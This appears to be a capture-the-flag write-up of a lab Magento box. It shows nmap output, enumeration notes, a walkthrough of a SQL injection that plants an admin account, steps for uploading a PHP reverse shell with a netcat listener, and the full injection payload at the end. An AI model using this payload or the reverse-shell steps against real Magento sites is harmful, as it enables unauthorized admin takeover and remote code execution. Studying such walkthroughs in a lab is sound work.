Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-18 01:47 EST
Nmap scan report for 10.10.10.140
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds
we can see the following
SSH is running
Apache 2.4.29 is in place (web server)
Domain name swagshop.htb we can add this to our hosts file
HTTP Port 80
Lets get feroxbuster running in the background to identify any interesting web pages
Looking at the web server we can see the following
Already we can see the webserver is
Ubuntu server
running magento
magento 2014 is vulnerable to RCE
runs on php
MySQLis present
When we look at the about us we can see a possible username
John Doe
We can see there is an option to create an account
Lets create an account a proxy through Burp and see if there are any interesting requests being made
This script appears to perform SQLI on a Magento CMS (Content Management System) website. It targets the admin interface of the Magento CMS and attempts to create a new admin user with specified credentials. Here's a step-by-step breakdown:
Import Libraries:
Retrieve Target URL:
The script expects the target website URL as a command-line argument.
Ensure Target URL Format:
These lines ensure that the target URL starts with "http://" and does not end with a trailing slash.
Construct Target URL for Admin Interface:
The target URL is constructed for the Magento admin interface.
SQL Injection Payload:
This is the SQL injection payload. It inserts a new admin user into the admin_user table with a specified username and password.
Format and Encode Payload:
The payload is formatted into a single line, and the username and password are specified. The payload is then encoded using base64.
Craft HTTP Request:
An HTTP POST request is sent to the target URL with the encoded payload.
Check Response:
If the request is successful (HTTP status code 200), it prints a success message along with the admin URL and credentials. Otherwise, it prints a failure message.
Okay once we have ran the script we should get a admin user within the Content Management System so
Looking through the CMS we can see we have the option to add pages and knowing the site runs off php we could potentially upload a php reverse shell and gain access to the system
We will use PHP monkeys reverse shell
edit the script with our local ip and port
Lets start a nc listner
Now lets upload the php file
hmmm this didnt seem to work when we tried to upload the file as a page, Lets re think this
What we can is add a custom option within one of the files, that allows for uploading php files
to do this we can
within the catalogue -> manage products we can Edit one of the existing products
within the left panel we click on Custom Options
click on Add New Option
then we would specify a file and extention
Click save
Now when we navigate to the chosen product we can see the ability to upload a php file
Once we have uploaded our reverse shell and added the product to cart we should be able to navigate to
SQLQUERY = """
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
